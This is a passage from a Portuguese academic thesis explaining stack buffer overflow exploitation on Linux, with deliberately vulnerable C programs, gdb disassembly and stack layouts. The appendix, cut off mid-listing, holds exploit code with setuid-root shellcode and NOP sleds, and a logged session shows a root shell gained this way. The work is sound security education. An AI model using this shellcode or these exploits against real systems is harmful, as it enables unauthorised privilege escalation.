54 Alm disso, em ambos os tipos de sistema, o registrador AX responsvel por armazenar o nmero da chamada de sistema a ser executada, cujos valores esto descritos em arch/x86/include/asm/unistd_64.h. Love (2010) explica que os identicadores de chamadas de sistema so armazenados em uma tabela, conforme est denida em arch/x86/kernel/syscall_64.c12 . As chamadas de sistema no so ligadas na forma convencional; h macros que desenrolam as chamadas no devido cdigo Assembly explicado acima (LOVE, 2010). Uma outra maneira de se usar uma chamada de sistema invocando a funo int syscall(int number, ...), em que o primeiro argumento o nmero da syscall e os restantes so os prprios argumentos da syscall, em ordem. Por m, para executar uma chamada de sistema, so necessrias instrues especiais. Em ambientes 64 bits, o nome da instruo bem sugestivo: syscall; em 32 bits, a interrupo 0x80 (int 0x80) (MAUERER, 2008). Como exemplo, a Figura 18 mostra o famoso Hello, world! usando uma das mais conhecidas chamadas de sistema: write(); seu prottipo ssize_t write(int fd, const void *buf, size_t count). Essa chamada de sistema copia count bytes do buffer apontado por buf para o arquivo referenciado pelo descritor de arquivos fd e retorna o nmero de bytes escritos ou um valor de erro. O cdigo obtm o respectivo descritor de arquivo13 para o stream14 stdout, a m de escrever a string Hello, world!\n na sada padro.
Apenas os arquivos para arquiteturas 64 bits foram descritos no texto, mas os arquivos para 32 bits possuem nomes semelhantes e se encontram nos mesmos diretrios citados. 13 No Linux, todo arquivo aberto por um processo possui um inteiro identicador de sua instncia, conhecido como descritor de arquivo (MITCHELL; OLDHAM; SAMUEL, 2001). 14 Um stream referido no texto como um ponteiro para um arquivo, implementado como uma estrutura contendo as informaes sobre um arquivo (KERNIGHAN; RITCHIE, 1988). Um dos membros dessa estrutura justamente o descritor de arquivo.
12

55
1 2 3 4 5 6 7 8 9 10 11 12 #include < stdio .h > #include < unistd .h > int main () { int out = fileno ( stdout ); if ( out != -1) write (out , "Hello, world!\n" , 14); return 0; }

Figura 18: Exemplo de programa usando chamada de sistema write()

J o programa da Figura 19 mostra o mesmo programa com uma chamada de sistema com Assembly inline. A string empilhada atravs das instrues de pushq (mneumnico para push quadword), em little endian e no sentido dos endereos baixos. Considera-se que o descritor de arquivos para a sada padro 1 (stdout). A Figura 20, por sua vez, mostra um cdigo que executa um shellcode usando a chamada de sistema execve(). Essa chamada de sistema executa um processo cujos nome, argumentos e variveis de ambiente so fornecidos ao processo como argumentos da funo.

5.4

Explorao pelo endereo de retorno


A explorao pelo endereo de retorno consiste em sobrescrever o endereo de

retorno na funo que apresenta a vulnerabilidade para algum endereo do buffer

56
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 /* * 0x48 * H * 0x6f * o */

0x65 e 0x72 r

0x6c l 0x6c l

0x6c l 0x64 d

0x6f o 0x21 !

0x2c 0x20 0x77 , w 0x0a \n

int main () { __asm ( "

movq $0x0a21646c726f,%rax; pushq %rax; movq $0x77202c6f6c6c6548,%rax; pushq %rax; movq $0x1,%rdi; movq %rsp,%rsi; movq $14,%rdx; movq $0x1,%rax; syscall;"

\ \ \ \ \ \ \ \

); return 0; }

Figura 19: Exemplo de programa usando chamada de sistema write() com Assembly inline

onde ocorre o transbordamento. O cdigo da Figura 21 usado para exemplicar e baseado em Levy (1996). O buffer overow ocorre na linha 18 com uma string com mais de 100 caracteres, a qual fornecida como argumento na linha de comando. O array preenchido pela chamada funo strcpy(). Assim, quando o programa for explorado, ele ser executado como sugerido pela Figura 22. Ainda na Figura 22, stack-cong o contedo a ser escrito na pilha que alterar toda a semntica do processo vulnervel. Esse contedo consiste no shellcode propriamente dito e no endereo da pilha onde se encontra o buffer. O endereo

57
1 int main () 2 { 3 __asm ( 4 /* 5 * int execve(const char *filename, char *const 6 argv[], char *const envp[]); * 7 * 8 * rax: 59; rdi: "/bin/sh"; rsi: 0, rdx: 0 9 * / b i n / s h 10 * 2F 62 69 6E 2F 73 68 11 */ 12 13 " \ 14 movq $0x68732F6E69622F, %rax; \ 15 pushq %rax; \ 16 movq %rsp, %rdi; \ 17 movq $0,%rsi; \ 18 movq $0,%rdx; \ 19 movq $59, %rax; \ 20 syscall; \ 21 " 22 ); 23 24 return 0; 25 }

Figura 20: Exemplo de shellcode em Assembly inline

dessa regio de memria copiado para o local onde o endereo de retorno para a funo main() foi salvo, a m de que o processo continue executando a partir do shellcode ao invs de seguir o uxo normal. importante ressaltar que o shellcode no deve conter o byte nulo, uma vez que este ocasiona a parada da cpia em strcpy(). Para descobrir o endereo do buffer na pilha, necessrio descobrir a que distncia o buffer encontra-se da base do frame da funo copy() (registrador EBP). A Figura 23 exibe o cdigo desta funo desmontado no debugger.

58
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include < stdio .h > #include < string .h > void copy ( char * str ); int main ( int argc , char * argv []) { if ( argc > 1) copy ( argv [1]); return 0; } void copy ( char * str ) { char buffer [100]; strcpy ( buffer , str ); }

Figura 21: Programa vulnervel (endereo de retorno) $ ./vuln stack-config

Figura 22: Execuo do programa vulnervel (endereo de retorno)

Depois que a funo copy() chamada, a pilha est congurada da seguinte maneira (no sentido dos endereos mais baixos): endereo de retorno da funo main(), endereo base do frame da funo main() e 120 bytes at o incio do buffer (Figura 24). Como se pode observar, o compilador gerou cdigo com um espao de 20 bytes entre o buffer e as informaes do processo. Em seguida, admitindo que o kernel no esteja com a opo de randomizao do endereo base da pilha ativada, descobre-se o endereo da pilha do processo vulnervel atravs de tentativas sucessivas, tomando-se como base o endereo da pilha do exploit. Como essas tentativas podem levar a uma posio mediana do

59
(gdb) disassemble copy Dump of assembler code 0x080483a1 <copy+0>: 0x080483a2 <copy+1>: 0x080483a4 <copy+3>: 0x080483aa <copy+9>: 0x080483ad <copy+12>: 0x080483b1 <copy+16>: 0x080483b4 <copy+19>: 0x080483b7 <copy+22>: 0x080483bc <copy+27>: 0x080483bd <copy+28>: End of assembler dump. (gdb) for function copy: push ebp mov ebp,esp sub esp,0x88 mov eax,DWORD PTR [ebp+8] mov DWORD PTR [esp+4],eax lea eax,[ebp-120] mov DWORD PTR [esp],eax call 0x80482a0 <strcpy@plt> leave ret

Figura 23: Desmontagem da funo copy() no programa vulnervel (endereo de retorno)

Endereos 0xbffff81c 0xbffff818 ... 0xbffff7a0 0xbffff790

| Pilha | Registradores | eip | | ebp1 | <= ebp2 | ... | | <buffer> | | | <= esp

Figura 24: Congurao da pilha aps a chamada funo copy()

buffer, necessrio preencher o buffer com instrues nop (no-operation). Esse bloco de instrues faz com que a execuo deslize pelo buffer at chegar ao shellcode e conhecido como nop sled (ERICKSON, 2008). A Figura 25 mostra a congurao da pilha aps o array ser preenchido atravs de um exploit (ver Apndice). [ nop sled | shellcode | endereo do buffer ]

Figura 25: Congurao da pilha aps o preenchimento do buffer

60 Logo, se o programa vulnervel da Figura 21 pertencer ao superusurio root e possuir permisso de set user id (setuid), o shellcode retornar uma shell de root para o usurio que invocou o programa, devido chamada de sistema setresuid(), que restaura ids de usurios do processo. A Figura 26 exemplica um ataque do programa vulnervel em discusso.
$ ls -lh total 24K -rwsr-xr-x 1 root root 6.7K 2011-03-29 20:43 vuln -rw-r--r-- 1 hudson hudson 244 2011-03-26 17:13 vuln.c -rwxr-xr-x 1 hudson hudson 7.5K 2011-03-29 19:42 exploit -rw-r--r-- 1 hudson hudson 1.6K 2011-03-29 19:42 exploit.c $ for i in $(seq 0 4 80) > do ./exploit $i > done # whoami root

Figura 26: Ataque do programa vulnervel (endereo de retorno)

5.5

Explorao pelo endereo base do frame


Na explorao pelo endereo base do frame, o objetivo fazer com que o

frame da antiga funo esteja no buffer, sobrescrevendo o antigo EBP salvo na pilha para um falso frame. Assim, quando a antiga funo retornar, o falso frame indicar para onde o uxo de execuo deve seguir. Um exemplo de programa vulnervel para este tipo de problema fornecido na Figura 27. Nesse exemplo, possvel perceber como um simples byte pode representar uma ameaa. O erro no programa da Figura 27 conhecido como off-by-one ou fencepost (ERICKSON, 2008). O desenvolvedor contabilizou erroneamente

61
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include < stdio .h > #include < string .h > void copy ( char * str ); int main ( int argc , char * argv []) { if ( argc > 1) copy ( argv [1]); return 0; } void copy ( char * str ) { char buffer [128]; int i; /* Because of the equal sign, copies 1 byte beside. */ for (i = 0; i <= 128; ++ i) buffer [i] = str [i ]; }

Figura 27: Programa vulnervel (endereo base do frame)

a quantidade de recursos alocados, a saber, o nmero de bytes do buffer; foram reservados 128 bytes, mas so copiados 129. O exemplo baseado em klog (1999). Na explorao do endereo base do frame, ter-se- uma congurao de pilha semelhante da Figura 28. Para esta explorao, foi utilizada a opo de compilao -mpreferred-stack-boundary=n, em que n um expoente de 2 para alinhamento personalizado da pilha. O valor padro normalmente 4, mas foi usado o valor 2 (alinhamento de 4 bytes). [ ebp-fake | eip-shellcode | nop sled | shellcode | ebp-changed ]

Figura 28: Congurao da pilha aps o preenchimento do buffer

62 O cdigo da funo copy(), desmontado na Figura 29, mostra as posies das variveis buffer e i a partir do registrador EBP. Uma anlise apurada desse cdigo resulta na congurao de pilha da Figura 30. Como possvel deduzir, este tipo de explorao mais difcil de ser realizado, uma vez que o registrador base do antigo frame pode estar armazenado em uma posio muito especca na pilha. O exploit do programa na Figura 27 est listado no Apndice.

5.6

Explorao pelo ponteiro de funo


A Figura 31 fornece o cdigo do programa anterior vuln com uma adaptao:

um ponteiro de funo est presente em copy(), que onde ocorre a vulnerabilidade. J a Figura 32 detalha o cdigo Assembly de copy() alterada. De acordo com o cdigo desmontado, o ponteiro de funo est a 12 bytes da base do frame e o buffer est a 136 (0x88) bytes. Assim, possvel atacar o sistema com o programa vulnervel sem sobrescrever EBP e EIP salvos na pilha, referentes funo anterior. E, de fato, esta a diferena entre o exploit deste programa e os anteriores: a vulnerabilidade explorada atravs do ponteiro de funo em copy(). importante notar que a ordem em que as variveis so declaradas inuenciam no ataque ao ponteiro de funo. Se o array estivesse depois do ponteiro de funo, no seria possvel sobrescrever o endereo armazenado nele.

63
(gdb) disassemble copy Dump of assembler code for function copy: 0x08048367 <copy+0>: push ebp 0x08048368 <copy+1>: mov ebp,esp 0x0804836a <copy+3>: sub esp,0x84 0x08048370 <copy+9>: mov DWORD PTR [ebp-0x84],0x0 0x0804837a <copy+19>: cmp DWORD PTR [ebp-0x84],0x80 0x08048384 <copy+29>: jle 0x8048388 <copy+33> 0x08048386 <copy+31>: jmp 0x80483ab <copy+68> 0x08048388 <copy+33>: lea eax,[ebp-128] 0x0804838b <copy+36>: mov edx,eax 0x0804838d <copy+38>: add edx,DWORD PTR [ebp-0x84] 0x08048393 <copy+44>: mov eax,DWORD PTR [ebp-0x84] 0x08048399 <copy+50>: add eax,DWORD PTR [ebp+8] 0x0804839c <copy+53>: movzx eax,BYTE PTR [eax] 0x0804839f <copy+56>: mov BYTE PTR [edx],al 0x080483a1 <copy+58>: lea eax,[ebp-0x84] 0x080483a7 <copy+64>: inc DWORD PTR [eax] 0x080483a9 <copy+66>: jmp 0x804837a <copy+19> 0x080483ab <copy+68>: leave 0x080483ac <copy+69>: ret End of assembler dump. (gdb) i r ebp ebp 0xbffff76c 0xbffff76c (gdb) x/x buffer 0xbffff6ec: 0x00000000 (gdb) x/x $ebp-128 0xbffff6ec: 0x00000000 (gdb) x/x &i 0xbffff6e8: 0x00000000 (gdb) x/x $ebp-132 0xbffff6e8: 0x00000000 (gdb) Figura 29: Desmontagem da funo copy() do programa vulnervel (endereo base do frame)

64 Endereos 0xbffff770 0xbffff76c ... 0xbffff6ec 0xbffff6e8 | Pilha | Registradores | eip | | ebp1 | <= ebp2 | ... | | <buffer> | | i | <= esp

Figura 30: Congurao da pilha aps a chamada funo copy()


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include < stdio .h > #include < string .h > void copy ( char * str ); void f (); int main ( int argc , char * argv []) { if ( argc > 1) copy ( argv [1]); return 0; } void copy ( char * str ) { void (* fct_ptr )(); char buffer [100]; fct_ptr = f; strcpy ( buffer , str ); fct_ptr (); } void f () { }

Figura 31: Programa vulnervel (ponteiro de funo)

65
(gdb) disassemble copy Dump of assembler code 0x080483a1 <copy+0>: 0x080483a2 <copy+1>: 0x080483a4 <copy+3>: 0x080483aa <copy+9>: 0x080483b1 <copy+16>: 0x080483b4 <copy+19>: 0x080483b8 <copy+23>: 0x080483be <copy+29>: 0x080483c1 <copy+32>: 0x080483c6 <copy+37>: 0x080483c9 <copy+40>: 0x080483cb <copy+42>: 0x080483cc <copy+43>: End of assembler dump. (gdb) disassemble f Dump of assembler code 0x080483cd <f+0>: 0x080483ce <f+1>: 0x080483d0 <f+3>: 0x080483d1 <f+4>: End of assembler dump. for function copy: push ebp mov ebp,esp sub esp,0x98 mov DWORD PTR [ebp-12],0x80483cd mov eax,DWORD PTR [ebp+8] mov DWORD PTR [esp+4],eax lea eax,[ebp-0x88] mov DWORD PTR [esp],eax call 0x80482a0 <strcpy@plt> mov eax,DWORD PTR [ebp-12] call eax leave ret

for function f: push ebp mov ebp,esp pop ebp ret

Figura 32: Desmontagem da funo copy() do programa vulnervel (ponteiro de funo)

5.7 Kernel 2.6 e arquitetura 64 bits: a caixa-forte


Consoante exposto no captulo anterior, verses atuais do kernel possuem alguns dos mecanismos de proteo do PaX que impossibilitam o mtodo de explorao convencional. Assim, outras tticas de explorao so necessrias para contornar essa situao. Uma dessas formas apresentada por (KRAHMER, 2005). A tcnica por ele apresentada chamada borrowed code chunks exploitation technique (ou tc-

66 nica de explorao por blocos de cdigo emprestados). A tcnica consiste em procurar, em bibliotecas dinmicas do sistema, tal como a libc, cdigos em nvel Assembly que executem um shellcode. Se for possvel sobrescrever o endereo de retorno, ento ser possvel transferir para um cdigo que tente simular o shellcode. Depois que o buffer overow ocorre, a pilha est sobre controle do atacante e, conhecendo-se o cdigo emprestado, possvel manipular a pilha para obter as informaes necessrias juntamente com o cdigo. O programa da Figura 33 pode conduzir o sistema a um buffer overow, segundo pode ser visto na linha 33. No sistema de teste, BUFSIZ diferente e maior que BUF_SIZ, este denido no prprio programa. Para os testes, consideraram-se os blocos de cdigos extrados da libc, mostrados na Figura 34. A biblioteca C geralmente serve como um wrapper para algumas chamadas de sistema, como, por exemplo, a famlia de funes exec(). Analisando atentamente os trechos selecionados da desmontagem nessa mesma gura, possvel perceber que ele um shellcode usando cdigos emprestados da biblioteca compartilhada (da o nome da tcnica). O objetivo executar a chamada de sistema execve(). Para tanto, preciso preencher os registradores com as informaes necessrias. O primeiro trecho (funo clnt_broadcast()) responsvel por atribuir o endereo na pilha do nome da shell (RDI), equivalente ao primeiro argumento de execve(). Ento, tem-se que RSI (segundo argumento) preenchido atravs de R12 (na funo execle()) e, em seguida, executa-se a chamada de sistema pela entrada na libc. Entretanto, os outros registradores no foram preenchidos ainda. Ento, o cdigo

67
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include #include #include #include #include #include < stdio .h > < locale .h > <err .h > < unistd .h > <sys / stat .h > <sys / types .h > 4096

#define BUF_SIZ void echo ();

int main () { setlocale ( LC_ALL , "" ); echo (); return 0; } void echo () { char buffer [ BUF_SIZ ]; ssize_t nbr , nbw ; ssize_t off ; int fdin , fdout ; /* Echoing lines. */ fdout = fileno ( stdout ); fdin = fileno ( stdin ); while (( nbr = read ( fdin , buffer , BUFSIZ )) != -1 && nbr != 0) { for ( off = 0; nbr ; off += nbw , nbr -= nbw ) if (( nbw = write ( fdout , buffer + off , nbr )) == -1 || nbw == 0) err (1 , "stdout" ); } if ( nbr == -1) err (1 , "stdin" ); }

Figura 33: Programa vulnervel (64 bits)

68
(gdb) disassemble clnt_broadcast Dump of assembler code for function clnt_broadcast: ... 0x00007ffff7b6bbd4 <clnt_broadcast+1492>: mov rdi,QWORD PTR [rsp+0x8] 0x00007ffff7b6bbd9 <clnt_broadcast+1497>: call QWORD PTR [rsp+0x18] End of assembler dump. (gdb) disassemble execle Dump of assembler code for function execle: 0x00007ffff7b0380b <execle+331>: mov rsi,r12 0x00007ffff7b0380e <execle+334>: call 0x7ffff7b035b0 <execve> ... 0x00007ffff7b0382f <execle+367>: pop r12 0x00007ffff7b03831 <execle+369>: pop r13 0x00007ffff7b03833 <execle+371>: pop r14 0x00007ffff7b03835 <execle+373>: pop r15 0x00007ffff7b03837 <execle+375>: ret End of assembler dump. (gdb) disassemble opendir Dump of assembler code for function opendir: ... 0x00007ffff7afef1b <opendir+59>: pop rdx 0x00007ffff7afef1c <opendir+60>: ret End of assembler dump. (gdb) disassemble clock Dump of assembler code for function clock: ... 0x00007ffff7af206d <clock+125>: imul rax,rdx 0x00007ffff7af2071 <clock+129>: ret End of assembler dump.

Figura 34: Pedaos de cdigo emprestados da libc

da mesma funo copia para R12 o que estiver na pilha. Assim, ser possvel extrair um zero da pilha e atribu-lo a RSI (array de argumentos nulo). A funo clock() permite zerar o registrador RAX se a multiplicao envolver um zero (no caso, registrador RDX). O zero pode ser colocado em RDX atravs do trecho em opendir() (array de variveis do ambiente nulo). Logo, todos os registra-

69 dores estaro prontos para uma chamada a execve(). necessrio atribuir zero ao registrador RAX porque a chamada a execve() em execle() no sistema usado para os testes copia o nmero da chamada de sistema apenas na parte baixa do registrador RAX (EAX). Contudo, este tipo de explorao no est funcionando mais para programas suid. Os endereos da biblioteca compartilhada tambm esto variando para este tipo de programa, segundo testes executados no debugger. Mesmo no GDB, que geralmente mantm endereos xos para segmentos do processo para anlise de cdigo, os endereos da biblioteca estavam variando. Executando o exploit especicado no Apndice, a execuo termina com um erro de acesso invlido de memria chamado segmentation fault. Tambm foi colocado um buffer na funo main(), apenas para garantir que a tcnica de utilizao de cdigo emprestado no usasse a pilha alm do limite, gerando um acesso invlido de memria, porm sem obter sucesso. A tcnica difcil de ser utilizada porque depende do cdigo que se quer pegar emprestado e, obviamente, o endereo da biblioteca, embora possa ser esttico, depende de conguraes especcas do sistema alvo.

CONCLUSO
Este trabalho apresentou uma viso geral sobre buffer overow. Foram mostra-

das as formas como o problema era explorado e porque sua explorao atualmente est mais restrita. O estudo realizado mostra que a vulnerabilidade um problema

70 resultante de um erro do desenvolvedor, embora as medidas preventivas apresentadas possam evitar a real ocorrncia do erro. Neste trabalho, mostrou-se o quo vulnervel ainda a arquitetura 32 bits, embora ela esteja entrando em uma fase de desuso com a adoo de novos processadores 64 bits, at mesmo pela ausncia de mecanismos protetores contra execuo arbitrria. Alm disso, como foi apresentado, apenas um ou alguns poucos bytes podem ameaar a integridade do sistema. Tambm, apesar das ferramentas evolurem bastante com o tempo, ainda possvel encontrar modos de fraudar o sistema computacional. Foram realizadas exploraes sobre endereo de retorno, endereo base do frame e ponteiro de funo para a arquitetura 32 bits, obtendo sucesso. Quanto plataforma 64 bits, usando blocos de cdigo emprestados, no se obteve resultado til. No entanto, este ltimo, se explorado com mais cautela ou por outro modo, poderia ter fornecido resultado melhor. Dessa forma, importante, durante a fase de desenvolvimento, tomar a devida precauo. Algumas medidas podem ser adotadas com relao escolha das funes que manuseiam regies de memria, como, por exemplo, substituir funes de cpia que nalizam o procedimento analisando um caractere sentinela por uma verso com um parmetro indicando o nmero de bytes copiados. Um exemplo disso a funo char *strcpy(char *dest, const char *src) e sua equivalente mais segura char *strncpy(char *dest, const char *src, size_t n). Mesmo assim, se o argumento passado for uma varivel que funciona como um contador, arrisca-se de o contador estar incorreto. Ou ainda, o

71 cdigo do desenvolvedor pode no adotar alguma das funes padres e, em dado momento, manusear buffers e regies de memria de forma inadequada. Nesse sentido, importante que o sistema operacional e o hardware disponibilizem formas de controle contra a vulnerabilidade em foco. Isso atingido com preciso pelos mecanismos de aleatorizao das regies de memria do processo (recurso ASLR do PaX implementado atualmente no kernel) e pela proibio de executveis em pginas no permitidas. importante salientar que algumas reas de memria ainda no so dinamicamente aleatrias. Anlises mais aprofundadas sobre falhas apresentadas nessas reas de memria podem conduzir a novos meios de explorao. Os segmentos data e text de um processo apresentam endereos xos nas mais diversas instncias de execuo. O problema do buffer overow pode ser evitado, em parte por boas prticas do desenvolvedor, em parte pela maneira como o hardware projetado. Mesmo assim, ainda pode haver alternativas de explorao da vulnerabilidade, seja por uma anlise mais apurada das metodologias apresentadas, seja pela utilizao de outros meios ainda desconhecidos. Entretanto, medida que o kernel aperfeioado com o tempo, a explorao torna-se cada vez mais difcil. Como sugesto de trabalho futuro, indica-se uma explorao mais aprofundada em processadores 64 bits. Seria interessante analisar o formato executvel ELF (Executable and Linkable Format); se no seria possvel encontrar meios de burlar o programa suscetvel, por exemplo, atravs de suas sees. Por outro lado, pode ser que os segmentos que so estticos, como as regies de dados e de cdigo,

72 ofeream algum meio de inserir cdigo executvel por algum modo. E ainda, vericar se no possvel quebrar algum dos recursos de randomizao do kernel que possam porventura serem mais fracos (ex. heap). Outra opo de linha de pesquisa seria a anlise dos mtodos de proteo adotados pelos diversos sistemas operacionais, quanto ecincia e segurana oferecidas por eles. Seria interessante que tal pesquisa disponibilizasse testes comparativos entres os mtodos propostos, se possvel comparando os resultados com trabalhos semelhantes. Uma vez que o problema apenas amenizado, um trabalho particularmente desaador seria a criao de um mecanismo efetivo de proteo em nvel de gerenciamento de memria, vericando aspectos de desempenho.

73

Referncias
AHO, A. V.; LAM, M. S.; SETHI, R.; ULLMAN, J. D. Compiladores: princpios, tcnicas e ferramentas. 2. ed. Brasil: Addison Wesley, 2008. BARATLOO, A.; TSAI, T.; SINGH, N. Libsafe: Protecting Critical Elements of Stacks. United States, 1999. BOVET, D. P.; CESATI, M. Understanding the Linux Kernel. 3. ed. United States: OReilly Media, Inc, 2006. CESAR, R. Informatizao avana no pas. ComputerWorld, 2004. http://computerworld.uol.com.br/negocios/2004/04/05/idgnoticia. 2006-05-15.8440006163/. Acesso em: 23/05/2011. COWAN, C.; PU, C.; MAIER, D.; HINTON, H.; WALPOLE, J.; BAKKE, P.; BEATTIE, S.; GRIER, A.; WAGLE, P.; ZHANG, Q. Stackguard: Automatic adaptive detection and prevention of buffer-overow attacks. In: Proceedings of the 7th USENIX Security Symposium. United States: USENIX, 1998. ERICKSON, J. Hacking: The Art of Exploitation. 2. ed. United States: No Starch Press, 2008. FAYOLLE, P.-A.; GLAUME, V. A buffer overow study attacks & defenses. www.shell-storm.org/papers/files/539.pdf. 2002. Acesso em: 05/10/2010. FRITSCH, H. Buffer overows on linux-x86-64. In: Black Hat Europe 2009. The Netherlands: BlackHat Europe, 2009.

74 IDT. IDT MIPS Microprocessor Family Software Developers Guide. United States, 2000. 282 p. Disponvel em: <http://www.idt.com/products/getdoc.cfm?docid=10715>. Acesso em: 17/09/2010. INTEL CORPORATION. Intel R 64 and IA-32 Architectures Software Developers Manual Volume 1: Basic Architecture. [S.l.], 2010. 512 p. Disponvel em: <http://www.intel.com/products/processor/manuals/>. Acesso em: 05/10/2010. INTEL CORPORATION. Intel R 64 and IA-32 Architectures Software Developers Manual Volume 2A: Instruction Set Reference, A-M. [S.l.], 2010. 844 p. Disponvel em: <http://www.intel.com/products/processor/manuals/>. Acesso em: 17/09/2010. INTEL CORPORATION. Intel R 64 and IA-32 Architectures Software Developers Manual Volume 2B: Instruction Set Reference, N-Z. [S.l.], 2010. 836 p. Disponvel em: <http://www.intel.com/products/processor/manuals/>. Acesso em: 17/09/2010. INTEL CORPORATION. Intel R 64 and IA-32 Architectures Software Developers Manual Volume 3A: System Programming Guide, Part 1. [S.l.], 2010. 834 p. Disponvel em: <http://www.intel.com/products/processor/manuals/>. Acesso em: 12/09/2010. KARPOV, A. 64 bits. Intel R Corporation, 2010. Disponvel em: <http://software.intel.com/en-us/articles/all-about-64-bits/>. Acesso em: 20/09/2010.

75 KERNIGHAN, B. W.; RITCHIE, D. M. The C Programming Language. 2. ed. United States: Prentice Hall, 1988. KLOG. The frame pointer overwrite. Phrack Magazine, 1999. http: //www.phrack.org/archives/55/p55_0x08_Frame%20Pointer% 20Overwriting_by_klog.txt. Acesso em: 10/10/2010. KRAHMER, S. x86-64 buffer overow exploits and the borrowed code chunks exploitation technique. United States, 2005. www.suse.de/~krahmer/no-nx. pdf. Acesso em: 25/02/2011. LEVY, E. Smashing the stack for fun and prot. Phrack Magazine, 1996. http://www.phrack.org/archives/49/p49_0x0e_Smashing%20The% 20Stack%20For%20Fun%20And%20Profit_by_Aleph1.txt. Acesso em: 01/10/2010. LOVE, R. Linux Kernel Development. United States: Addison-Wesley, 2010. MAUERER, W. Professional Linux Kernel Architecture. United States: Wiley, 2008. MITCHELL, M.; OLDHAM, J.; SAMUEL, A. Advanced Linux Programming. United States: New Riders, 2001. PaX Team. 2003. http://pax.grsecurity.net/docs/pax.txt. Acesso em: 07/11/2010. PaX Team. 2003. http://pax.grsecurity.net/docs/noexec.txt. Acesso em: 07/11/2010.

76 PaX Team. 2003. http://pax.grsecurity.net/docs/pageexec.txt. Acesso em: 07/11/2010. PaX Team. 2003. http://pax.grsecurity.net/docs/aslr.txt. Acesso em: 07/11/2010. SILBERMAN, P.; JOHNSON, R. A Comparison of Buffer Overow Prevention Implementations and Weaknesses. United States, 2004. Disponvel em: <http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-silberman/bh-us04-silberman-paper.pdf>. Acesso em: 21/10/2010. SILBERSCHATZ, A.; GALVIN, P. B.; GAGNE, G. Operating Systems Concepts. 7. ed. United States: Wiley, 2005. SOBOLEWSKI, P. Overowing the stack on linux x86. Hakin9, 2004. TSAI, T.; SINGH, N. Libsafe 2.0: Detection of Format String Vulnerability Exploits. United States, 2001. UCHA, J. Q. Algoritmos Imunoinspirados Aplicados em Segurana Computacional: Utilizao de Algoritmos Inspirados no Sistema Imune para Deteco de Intrusos em Redes de Computadores. Tese (Doutorado) UFLA, Brasil, 2009. WAGLE, P.; COWAN, C. Stackguard: Simple stack smash protection for GCC. In: Proceedings of the GCC Developers Summit. Canada: [s.n.], 2003. WILANDER, J.; KAMKAR, M. A comparison of publicly available tools for dynamic buffer overow prevention. In: The 10th Annual Network and Distributed System Security Symposium. United States: [s.n.], 2003.

77

APNDICE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 /******** Exploit 1 - functions return address (32 bits) ********/ #include #include #include #include < stdio .h > < stdlib .h > < string .h > < strings .h > 128 200 \x90

#define BUFFER_SIZE #define CMD_SIZE #define NOP

char shellcode [] = /* setresuid(0, 0, 0) */ "\x31\xC0" /* xor eax,eax */ "\x31\xDB" /* xor ebx,ebx */ "\x31\xC9" /* xor ecx,ecx */ "\x31\xD2" /* xor edx,edx */ "\xB0\xA4" /* mov al,0xa4 */ "\xCD\x80" /* int 0x80 */ /* execve("/bin/sh\0", 0, 0) */ "\x31\xC0" /* xor eax,eax */ "\x50" /* push eax */ "\x68\x2F\x2F\x73\x68" /* push "hs//" */ "\x68\x2F\x62\x69\x6E" /* push "nib/" */ "\x89\xE3" /* mov ebx,esp */ "\xB0\x0B" /* mov al,0xb */ "\xCD\x80" /* int 0x80 */ /* exit(0) */ "\xB0\x01" "\xCD\x80" ; int main ( int argc , char * argv []) { char cmd [ CMD_SIZE ]; char * pbuf ; int i; unsigned int offset ;

/* mov al,0x1*/ /* int 0x80 */

78
40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 bzero (cmd , CMD_SIZE ); pbuf = cmd + 8; offset = ( unsigned int ) cmd ; if ( argc > 1) offset += atoi ( argv [1]); strcpy (cmd , "./vuln " ); /* ./vuln [ nop | shellcode | ret addr ]*/ /* return address */ for (i = 0; i < BUFFER_SIZE ; i += sizeof ( unsigned int )) *( unsigned int *)( pbuf + i) = offset ; /* nop sled */ memset ( pbuf , NOP , 60); /* shellcode */ memcpy ( pbuf + 60 , shellcode , sizeof ( shellcode ) - 1); strcat (cmd , "" ); system ( cmd ); return 0; } /*************** Exploit 2 - base pointer (32 bits) **************/ #include #include #include #include < stdio .h > < stdlib .h > < string .h > < strings .h > 128 200 \x90

#define BUFFER_SIZE #define CMD_SIZE #define NOP

char shellcode [] = /* setresuid(0, 0, 0) */ "\x31\xC0" /* xor eax,eax "\x31\xDB" /* xor ebx,ebx "\x31\xC9" /* xor ecx,ecx "\x31\xD2" /* xor edx,edx

*/ */ */ */

79
83 "\xB0\xA4" /* mov al,0xa4 */ 84 "\xCD\x80" /* int 0x80 */ 85 86 /* execve("/bin/sh\0", 0, 0) */ 87 "\x31\xC0" /* xor eax,eax */ 88 "\x50" /* push eax */ 89 "\x68\x2F\x2F\x73\x68" /* push "hs//" */ 90 "\x68\x2F\x62\x69\x6E" /* push "nib/" */ 91 "\x89\xE3" /* mov ebx,esp */ 92 "\xB0\x0B" /* mov al,0xb */ 93 "\xCD\x80" /* int 0x80 */ 94 95 /* exit(0) */ 96 "\xB0\x01" /* mov al,0x1*/ 97 "\xCD\x80" ; /* int 0x80 */ 98 99 int main ( int argc , char * argv []) 100 { 101 char cmd [ CMD_SIZE ]; 102 char * pbuf ; 103 unsigned int offset ; 104 int i; 105 106 bzero (cmd , CMD_SIZE ); 107 pbuf = cmd + 8; 108 109 offset = ( unsigned int ) cmd ; 110 if ( argc > 1) 111 offset += atoi ( argv [1]); 112 113 strcpy (cmd , "./vuln " ); 114 115 /* 116 * ./vuln 117 * [ ebp-fake | eip-shcode | nop | shellcode | new-ebp ] 118 */ 119 /* return address */ 120 *( unsigned int *) pbuf = offset ; 121 *( unsigned int *)( pbuf + 4) = offset ; 122 123 /* nop sled */ 124 i = BUFFER_SIZE - 8 - ( sizeof ( shellcode ) - 1); 125 memset ( pbuf + 8, NOP , i );

80
